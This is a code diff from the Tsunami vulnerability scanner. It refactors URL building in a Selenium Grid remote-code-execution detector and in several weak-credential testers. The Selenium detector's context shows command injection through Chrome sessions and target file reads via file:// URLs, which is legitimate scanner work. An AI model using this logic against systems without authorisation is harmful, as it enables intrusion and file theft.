a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java similarity index 93% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java index d6ca798cf..19c95ae55 100644 --- a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java +++ b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.get; import static java.nio.charset.StandardCharsets.UTF_8; @@ -228,29 +227,14 @@ private boolean isServiceVulnerable(NetworkService networkService) { } } - private static String buildTargetUrl(NetworkService networkService, String path) { - StringBuilder targetUrlBuilder = new StringBuilder(); - - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - - } else { - // Default to HTTP protocol when the scanner cannot identify the actual service. - // HTTP is also used in a default Selenium Grid install. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(path); - return targetUrlBuilder.toString(); - } - // Verifies that Selenium Grid is exposed. // Password-protected Selenium Grid will issue a 401 Unauthorized response with header: // WWW-Authenticate: Basic realm="selenium-server" private boolean isSeleniumGridExposed(NetworkService networkService) { - String statusUri = buildTargetUrl(networkService, SELENIUM_GRID_SERVICE_PATH + "/status"); + String statusUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/status"; try { HttpResponse response = @@ -268,7 +252,10 @@ private boolean isSeleniumGridExposed(NetworkService networkService) { // Returns true when ready, or false on timeout or failure private boolean isSeleniumGridReady(NetworkService networkService) { boolean seleniumIsReady = false; - String statusUri = buildTargetUrl(networkService, SELENIUM_GRID_SERVICE_PATH + "/status"); + String statusUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/status"; logger.atInfo().log( "Waiting for Selenium Grid to enter ready state (timeout is %d s)", @@ -323,7 +310,10 @@ private boolean isSeleniumGridReady(NetworkService networkService) { // This prevents a normal chrome instance startup which should result in a "tab crashed" error. // Returns true if the injected command caused a tab crash (command likely executed). private boolean executeCommandViaChrome(NetworkService networkService, String command) { - String targetUri = buildTargetUrl(networkService, SELENIUM_GRID_SERVICE_PATH + "/session"); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/session"; String reqPayload = String.format(payloadFormatString, command); boolean hasTabCrashed; @@ -366,8 +356,11 @@ private String readFileViaSelenium(NetworkService networkService, String filePat // Request file to read via file:// protocol String targetUri = - buildTargetUrl( - networkService, SELENIUM_GRID_SERVICE_PATH + "/session/" + seleniumSessionId + "/url"); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/session/" + + seleniumSessionId + + "/url"; String fileUri = "file://" + filePath; String fileReadPayload = String.format(seleniumUrlPayload, fileUri); boolean fileRequestSubmitted = false; @@ -394,9 +387,11 @@ private String readFileViaSelenium(NetworkService networkService, String filePat // Read file contents via Selenium browser source code handler targetUri = - buildTargetUrl( - networkService, - SELENIUM_GRID_SERVICE_PATH + "/session/" + seleniumSessionId + "/source"); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/session/" + + seleniumSessionId + + "/source"; String fileContents = null; req = @@ -439,7 +434,10 @@ private String readFileViaSelenium(NetworkService networkService, String filePat // Opens a Selenium Grid session that is required to submit browser requests. // Returns session ID string, or null if not successful. private String createSeleniumSession(NetworkService networkService) { - String targetUri = buildTargetUrl(networkService, SELENIUM_GRID_SERVICE_PATH + "/session"); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/session"; String seleniumSessionId = null; HttpRequest req = @@ -477,8 +475,10 @@ private String createSeleniumSession(NetworkService networkService) { private boolean closeSeleniumSession(NetworkService networkService, String seleniumSessionId) { logger.atInfo().log("Closing Selenium Session %s", seleniumSessionId); String targetUri = - buildTargetUrl( - networkService, SELENIUM_GRID_SERVICE_PATH + "/session/" + seleniumSessionId); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + + SELENIUM_GRID_SERVICE_PATH + + "/session/" + + seleniumSessionId; HttpRequest req = HttpRequest.delete(targetUri) .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorBootstrapModule.java diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadFormatString.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSeleniumUrl.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/main/resources/com/google/tsunami/plugins/detectors/rce/selenium/payloadSessionSettings.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithCallbackServerTest.java diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/RCEViaExposedSeleniumGridDetectorWithOutCallbackServerTest.java diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/java/com/google/tsunami/plugins/detectors/rce/selenium/TestHelper.java diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validCreateSessionResponse.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validRCEResponse.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validSourceResponse.json diff --git a/community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json b/doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json similarity index 100% rename from community/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json rename to doyensec/detectors/selenium_grid_rce_via_exposed_server/src/test/resources/com/google/tsunami/plugins/detectors/rce/selenium/validStatusResponse.json diff --git a/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java b/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java index 887bb4d60..67f709df0 100644 --- a/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java +++ b/examples/example_payload_framework_vuln_detector/src/main/java/com/google/tsunami/plugins/example/ExampleVulnDetectorWithPayload.java @@ -17,12 +17,12 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; @@ -139,9 +139,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { // Inject the payload into the vulnerable service String targetUri = - String.format( - "http://%s%s", - toUriAuthority(networkService.getNetworkEndpoint()), "/vulnerable-endpoint"); + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "/vulnerable-endpoint"; HttpRequest req = HttpRequest.put(targetUri) .withEmptyHeaders() diff --git a/google/detectors/credentials/generic_weak_credential_detector/build.gradle b/google/detectors/credentials/generic_weak_credential_detector/build.gradle index 3925ea347..7c2fa07d5 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/build.gradle +++ b/google/detectors/credentials/generic_weak_credential_detector/build.gradle @@ -53,8 +53,10 @@ ext { guiceVersion = '4.2.3' javaxInjectVersion = '1' jsoupVersion = '1.9.2' + ajpVersion = '1.0.0' okhttpVersion = '3.12.0' protobufVersion = '3.25.2' + ajp13Version = '1.0.0' tsunamiVersion = 'latest.release' junitVersion = '4.13' @@ -91,6 +93,7 @@ dependencies { implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" implementation "javax.inject:javax.inject:${javaxInjectVersion}" implementation "org.jsoup:jsoup:${jsoupVersion}" + implementation "com.doyensec:libajp:${ajpVersion}" annotationProcessor "com.google.auto.value:auto-value:${autoValueVersion}" testImplementation "com.google.truth:truth:${truthVersion}" diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java index a35293275..1f306d1a3 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/GenericWeakCredentialDetectorBootstrapModule.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector; import static java.nio.charset.StandardCharsets.UTF_8; @@ -44,10 +45,12 @@ import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ncrack.NcrackCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.postgres.PostgresCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.rabbitmq.RabbitMQCredentialTester; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.wordpress.WordpressCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.rstudio.RStudioCredentialTester; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.tomcat.TomcatHttpCredentialTester; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.tomcat.TomcatAjpCredentialTester; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.tomcat.TomcatHttpCredentialTester; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.wordpress.WordpressCredentialTester; +import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.zenml.ZenMlCredentialTester; + import java.io.FileNotFoundException; import java.io.IOException; import java.nio.file.Files; @@ -79,6 +82,7 @@ protected void configurePlugin() { credentialTesterBinder.addBinding().to(RabbitMQCredentialTester.class); credentialTesterBinder.addBinding().to(TomcatHttpCredentialTester.class); credentialTesterBinder.addBinding().to(TomcatAjpCredentialTester.class); + credentialTesterBinder.addBinding().to(ZenMlCredentialTester.class); Multibinder credentialProviderBinder = Multibinder.newSetBinder(binder(), CredentialProvider.class); diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/provider/Top100Passwords.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/provider/Top100Passwords.java index a16dd13a9..bed43a6c5 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/provider/Top100Passwords.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/provider/Top100Passwords.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider; import static com.google.common.collect.ImmutableList.toImmutableList; diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/grafana/GrafanaCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/grafana/GrafanaCredentialTester.java index ea1eb1ab5..456e3a328 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/grafana/GrafanaCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/grafana/GrafanaCredentialTester.java @@ -25,7 +25,6 @@ import com.google.common.flogger.GoogleLogger; import com.google.gson.JsonObject; import com.google.gson.JsonParser; -import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; @@ -65,23 +64,6 @@ public String description() { return "Grafana credential tester."; } - private static String buildTargetUrl(NetworkService networkService, String path) { - StringBuilder targetUrlBuilder = new StringBuilder(); - - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - - } else { - // Default to HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(path); - return targetUrlBuilder.toString(); - } - /** * Determines if this tester can accept the {@link NetworkService} based on the name of the * service or a custom fingerprint. The fingerprint is necessary since nmap doesn't recognize a @@ -100,9 +82,13 @@ public boolean canAccept(NetworkService networkService) { return true; } + if (!NetworkServiceUtils.isWebService(networkService)) { + return false; + } + boolean canAcceptByCustomFingerprint = false; - var url = buildTargetUrl(networkService, ""); + var url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); try { logger.atInfo().log("probing Grafana home - custom fingerprint phase"); @@ -110,7 +96,8 @@ public boolean canAccept(NetworkService networkService) { // the endpoint /api/health is one of the available unauthenticated endpoint - see // https://grafana.com/docs/grafana/latest/developers/http_api/other/#health-api - var healthApiUrl = buildTargetUrl(networkService, "api/health"); + var healthApiUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/health"; HttpResponse apiHealthResponse = httpClient.send(get(healthApiUrl).withEmptyHeaders().build()); @@ -190,7 +177,7 @@ public ImmutableList testValidCredentials( } private boolean isGrafanaAccessible(NetworkService networkService, TestCredential credential) { - var url = buildTargetUrl(networkService, "api/user"); + var url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/user"; try { logger.atInfo().log( "url: %s, username: %s, password: %s", diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/jenkins/JenkinsCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/jenkins/JenkinsCredentialTester.java index 6a66efdec..7f2af3fc8 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/jenkins/JenkinsCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/jenkins/JenkinsCredentialTester.java @@ -22,7 +22,6 @@ import com.google.common.base.Strings; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; -import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; @@ -82,8 +81,7 @@ public ImmutableList testValidCredentials( } private boolean isJenkinsAccessible(NetworkService networkService, TestCredential credential) { - var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); - var url = String.format("http://%s/", uriAuthority) + "view/all/newJob"; + var url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "view/all/newJob"; try { logger.atInfo().log( "url: %s, username: %s, password: %s", diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/mlflow/MlFlowCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/mlflow/MlFlowCredentialTester.java index 9b0cc5cf2..02d2b8074 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/mlflow/MlFlowCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/mlflow/MlFlowCredentialTester.java @@ -27,7 +27,6 @@ import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.JsonSyntaxException; -import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; @@ -85,11 +84,12 @@ public ImmutableList testValidCredentials( } private boolean isMlFlowAccessible(NetworkService networkService, TestCredential credential) { - var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); var url = String.format( - "http://%s/%s?username=%s", - uriAuthority, "api/2.0/mlflow/users/get", credential.username()); + "%s%s?username=%s", + NetworkServiceUtils.buildWebApplicationRootUrl(networkService), + "api/2.0/mlflow/users/get", + credential.username()); try { logger.atInfo().log( "url: %s, username: %s, password: %s", diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rabbitmq/RabbitMQCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rabbitmq/RabbitMQCredentialTester.java index c36691e4a..2921cfcb5 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rabbitmq/RabbitMQCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rabbitmq/RabbitMQCredentialTester.java @@ -69,13 +69,6 @@ public boolean batched() { return false; } - private static String buildTargetUrl(NetworkService networkService, String path) { - StringBuilder targetUrlBuilder = new StringBuilder(); - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - targetUrlBuilder.append(path); - return targetUrlBuilder.toString(); - } - // Checks if the response body contains the title element of rabbitmq management page. // Custom fingerprint phase. private static boolean bodyContainsRabbitMqElements(String responseBody) { @@ -107,7 +100,7 @@ public boolean canAccept(NetworkService networkService) { } boolean canAcceptByCustomFingerprint = false; - String url = buildTargetUrl(networkService, ""); + String url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); try { logger.atInfo().log("Probing RabbitMQ Management Portal - custom fingerprint phase"); HttpResponse response = httpClient.send(get(url).withEmptyHeaders().build()); @@ -119,7 +112,7 @@ public boolean canAccept(NetworkService networkService) { .bodyString() .map(RabbitMQCredentialTester::bodyContainsRabbitMqElements) .orElse(false); - url = buildTargetUrl(networkService, "api/overview"); + url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/overview"; response = httpClient.send(get(url).withEmptyHeaders().build()); canAcceptByCustomFingerprint = canAcceptByCustomFingerprint @@ -142,7 +135,7 @@ public ImmutableList testValidCredentials( } private boolean isCredentialValid(NetworkService networkService, TestCredential credential) { - var url = buildTargetUrl(networkService, "api/whoami"); + var url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/whoami"; try { logger.atInfo().log( "url: %s, username: %s, password: %s", diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rstudio/RStudioCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rstudio/RStudioCredentialTester.java index 67663e69b..f53a8ad90 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rstudio/RStudioCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/rstudio/RStudioCredentialTester.java @@ -17,14 +17,12 @@ package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.rstudio; import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.tsunami.common.net.http.HttpRequest.get; import static com.google.tsunami.common.net.http.HttpRequest.post; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.protobuf.ByteString; -import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; import com.google.tsunami.common.net.http.HttpHeaders; @@ -84,22 +82,6 @@ public String description() { return "RStudio credential tester."; } - private static String buildTargetUrl(NetworkService networkService, String path) { - StringBuilder targetUrlBuilder = new StringBuilder(); - - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Default to HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(path); - return targetUrlBuilder.toString(); - } - /** * Determines if this tester can accept the {@link NetworkService} based on the name of the * service or a custom fingerprint. The fingerprint is necessary since nmap doesn't recognize a @@ -115,8 +97,14 @@ public boolean canAccept(NetworkService networkService) { if (canAcceptByNmapReport) { return true; } + + if (!NetworkServiceUtils.isWebService(networkService)) { + return false; + } + boolean canAcceptByCustomFingerprint = false; - String url = buildTargetUrl(networkService, "unsupported_browser.htm"); + String url = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "unsupported_browser.htm"; try { logger.atInfo().log("Probing RStudio - custom fingerprint phase"); HttpResponse response = httpClient.send(get(url).withEmptyHeaders().build()); @@ -162,7 +150,7 @@ public ImmutableList testValidCredentials( } private boolean isRStudioAccessible(NetworkService networkService, TestCredential credential) { - var url = buildTargetUrl(networkService, "auth-public-key"); + var url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "auth-public-key"; try { logger.atInfo().log("Retrieving public key"); HttpResponse response = httpClient.send(get(url).withEmptyHeaders().build()); @@ -170,7 +158,7 @@ private boolean isRStudioAccessible(NetworkService networkService, TestCredentia String exponent = body.get().split(":")[0]; String modulus = body.get().split(":")[1]; - url = buildTargetUrl(networkService, "auth-do-sign-in"); + url = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "auth-do-sign-in"; logger.atInfo().log( "url: %s, username: %s, password: %s", url, credential.username(), credential.password().orElse("")); diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTester.java index 2297c6780..89a394689 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTester.java +++ 